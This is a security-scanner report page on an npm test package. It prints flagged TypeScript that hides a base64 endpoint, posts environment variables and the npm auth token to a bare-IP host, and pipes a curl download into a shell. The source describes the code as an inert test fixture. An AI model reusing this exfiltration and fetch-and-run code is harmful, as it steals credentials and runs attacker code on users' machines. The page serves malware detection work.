Loading npm security reports…

@stageflight-testbed/a@0.1.7: Malicious npm security report | LPM Firewall

registry / @stageflight-testbed/a / 0.1.7

@stageflight-testbed/a@0.1.7

AI Security Review

scanned 10d ago · by lpm-firewall-ai

An explicitly invoked exported function can exfiltrate environment data and execute a downloaded shell payload. It is not install- or import-time reachable.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

A consumer calls _telemetry() with __SF_TEST_NEVER__=1.

Impact

Environment and npm token disclosure; arbitrary code execution in the caller environment.

Mechanism

guarded credential exfiltration followed by remote shell execution

Rationale

The malicious capability is present in source but has no automatic package trigger. Per policy, this is an inert payload carrier requiring a warning rather than a publish block.

Evidence

package.jsonindex.ts

Network endpoints2

185.220.101.47:8080/collect185.220.101.47:8080/collect/stage2

OSV Corroboration

OpenSSF/OSV

Advisory

MAL-2026-13365

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in @stageflight-testbed/a (npm)

Details

index.ts defines an exported _telemetry function that (1) POSTs process.env and process.env.NODE_AUTH_TOKEN to a base64-hidden endpoint decoding to http://185.220.101.47:8080/collect, and (2) invokes execSync on `curl -s http://185.220.101.47:8080/the assessment | sh`, fetching and executing attacker-controlled shell code from the same bare-IP plaintext-HTTP host. The C2 URL is stored as a base64 literal decoded at runtime via Buffer.from(...,'base64') to hide the destination from source review. Execution is gated by an environment flag (__SF_TEST_NEVER__), but the exfiltration and remote-exec code paths are present and reachable whenever a caller sets that variable. The combination of full-environment dump, npm auth token exfiltration, remote shell fetch-and-exec, and runtime-decoded bare-IP destination is a supply-chain credential-theft and RCE payload.

Source & flagged code

5 flagged

index.tsView file

Lines 1-26typescript

1export const a = () => 'a';

3// ---------------------------------------------------------------------------------------

4// INTENTIONALLY SKETCHY — this exists to exercise stageflight's content review. It is inert

5// (guarded behind an env flag that is never set), but textually matches several supply-chain

6// risk patterns the AI scan should flag with line numbers: obfuscated URL, network exfil of

7// env/credentials, and remote-code-execution via a shell.

8// ---------------------------------------------------------------------------------------

9import { execSync } from 'node:child_process';

High

Child Process

Package source references child process execution.

index.tsView on unpkg · L8

11// base64 of "http://185.220.101.47:8080/collect" — hides the real endpoint

12const C2 = Buffer.from('aHR0cDovLzE4NS4yMjAuMTAxLjQ3OjgwODAvY29sbGVjdA==', 'base64').toString();

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

index.tsView on unpkg · L11

14export async function _telemetry(): Promise<void> {

15 if (process.env.__SF_TEST_NEVER__ !== '1') return; // inert: never runs

Critical

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution with blocking evidence.

index.tsView on unpkg · L8

17 // exfiltrate environment + npm auth token to the hardcoded host

18 await fetch(C2, {

19 method: 'POST',

20 body: JSON.stringify({ env: process.env, npmToken: process.env.NODE_AUTH_TOKEN }),

21 });

Critical

Download Execute

Source downloads or fetches remote code and executes it.

index.tsView on unpkg · L8

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.tsView on unpkg · L8

23 // fetch and execute remote code

24 execSync(`curl -s ${C2}/stage2 | sh`);

25}

Source & flagged code

5 flagged · loading source

index.tsView file

8// --------------------------------------------------------------------------------------- L9: import { execSync } from 'node:child_process'; L10: L11: // base64 of "http://185.220.101.47:8080/collect" — hides the real endpoint L12: const C2 = Buffer.from('[redacted]==', 'base64').toString(); ... L14: export async function _telemetry(): Promise<void> { L15: if (process.env.__SF_TEST_NEVER__ !== '1') return; // inert: never runs L16:

Critical

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution with blocking evidence.

index.tsView on unpkg · L8

Critical

Download Execute

Source downloads or fetches remote code and executes it.

index.tsView on unpkg · L8

8Trigger-reachable chain: manifest.main -> index.ts L8: // --------------------------------------------------------------------------------------- L9: import { execSync } from 'node:child_process'; L10: L11: // base64 of "http://185.220.101.47:8080/collect" — hides the real endpoint L12: const C2 = Buffer.from('[redacted]==', 'base64').toString(); ... L14: export async function _telemetry(): Promise<void> { L15: if (process.env.__SF_TEST_NEVER__ !== '1') return; // inert: never runs L16: ... L19: method: 'POST', L20: body: JSON.stringify({ env: process.env, npmToken: process.env.NODE_AUTH_TOKEN }), L21: });

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.tsView on unpkg · L8

8// --------------------------------------------------------------------------------------- L9: import { execSync } from 'node:child_process'; L10:

High

Child Process

Package source references child process execution.

index.tsView on unpkg · L8

11// base64 of "http://185.220.101.47:8080/collect" — hides the real endpoint L12: const C2 = Buffer.from('[redacted]==', 'base64').toString(); L13:

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

index.tsView on unpkg · L11

@stageflight-testbed/a@0.1.7

AI Security Review

OSV Corroboration

Decision evidence

Source & flagged code

Source & flagged code

Findings

Source & flagged code